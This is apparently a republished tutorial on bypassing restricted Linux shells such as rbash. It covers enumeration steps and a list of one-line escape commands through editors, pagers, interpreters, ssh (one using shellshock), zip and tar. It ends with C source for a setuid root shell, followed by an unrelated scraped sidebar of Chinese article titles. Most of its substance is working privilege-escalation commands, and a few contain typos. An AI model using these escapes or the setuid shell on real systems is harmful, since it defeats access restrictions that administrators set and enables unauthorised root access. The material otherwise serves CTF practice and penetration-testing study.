Author: @n4ckhcker & @h4d3sw0rm

Introduction

Hello, so first of all let’s explain what is a restricted shell ? A restricted shell is a shell that block/restricts some of the commands like cd,ls,echo etc or "block" the environment variables like SHELL,PATH,USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,>>. The types of a restricted shell can be : rbash,rksh,rsh. But now why someone want to create a restricted shell ?

Let’s say some examples :

1)To improve Security

2)To block hackers/pentesters.

3)Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.

4)For a CTF Challenge. (Root-me/hackthebox/vulnhub)

Enumeration Linux Environment

Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash. We need to enumerate :

1) First we must to check for available commands like cd/ls/echo etc.

2) We must to check for operators like >,>>,<,|.

3) We need to check for available programming languages like perl,ruby,python etc.

4) Which commands we can run as root (sudo -l).

5) Check for files or commands with SUID perm.

6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%

7) Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.

Common Exploitation Techniques

Now let’s see some of the common exploitation techniques.

1) If "/" is allowed you can run /bin/sh or /bin/bash.

2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.

3) From ftp > !/bin/sh or !/bin/bash

4) From gdb > !/bin/sh or !/bin/bash

5) From more/man/less > !/bin/sh or !/bin/bash

6) From vim > !/bin/sh or !/bin/bash

7) From rvim > :python import os; os.system("/bin/bash )

8) From scp > scp -S /path/yourscript x y:

9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'

10) From find > find / -name test -exec /bin/sh or /bin/bash \;

Programming Languages Techniques

Now.. let’s look some programming languages techniques.

1) From except > except spawn sh then sh.

2) From python > python -c 'import os; os.system("/bin/sh")'

3) From php > php -a then exec("sh -i");

4) From perl > perl -e 'exec "/bin/sh";'

5) From lua > os.execute('/bin/sh'). or os.system('/bin/bash')

6) From ruby > exec "/bin/sh"

7) From java > Runtime.getRuntime.exec("/bin/bash")

Now let’s move into Advance Techniques.

Advanced Techniques

Now let's move into some dirty advance techniques.

1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"

2)From ssh2 > ssh username@IP -t "bash --noprofile"

3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

5)From git > git help status > you can run it then !/bin/bash

6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T

7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

C SETUID SHELL :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h> int main(int argc, char **argv, char **envp){
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/bash",argv,envp);
return ;
}

Referer:

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

最新文章

  1. JAVA起名规范
  2. Go - 数组 和 切片(array、slice)
  3. dsview
  4. select例子
  5. css3实现进度条的模拟
  6. SQL设置语言,返回中文&rdquo;星期几&rdquo;格式
  7. [css3]搜索框focus时变长
  8. 深入分析Php处理浮点数的问题
  9. [BEC][hujiang] Lesson04 Unit1:Working life ---Reading + Listening &amp;Grammar &amp; Speaking
  10. ActiveMQ内存设置和流控
  11. MFC框架中消失的WinMain()
  12. TagHelper
  13. 设定MS SQL Server 2008定期自动备份
  14. 【续】强行在C# Winform中渲染Cocos2d-x 3.6
  15. DB---数据库中Schema的理解
  16. .net framework , code first
  17. CentOS Bash 命令补全增强软件包 bash-completion
  18. 你真的会用Gson吗?Gson使用指南(4)
  19. fuzhou 1075 分解素因子
  20. 评论各组alpha发布

热门文章

  1. Win7性能选项
  2. Python正则表达式------进阶
  3. 软工作业-wc(Python实现)
  4. AngularJs 中的transclude的理解
  5. Arcgis for Js之GeometryService实现测量距离和面积
  6. Arcgis Add-In开发入门实例
  7. SVG 总结
  8. The Pragmatic Programmer 摘要评注
  9. SQLmap是一款用来检测与利用SQL漏洞的注入神器。
  10. 在oracle里,如何取得本周、本月、本季度、本年度的第一天和最后一天的时间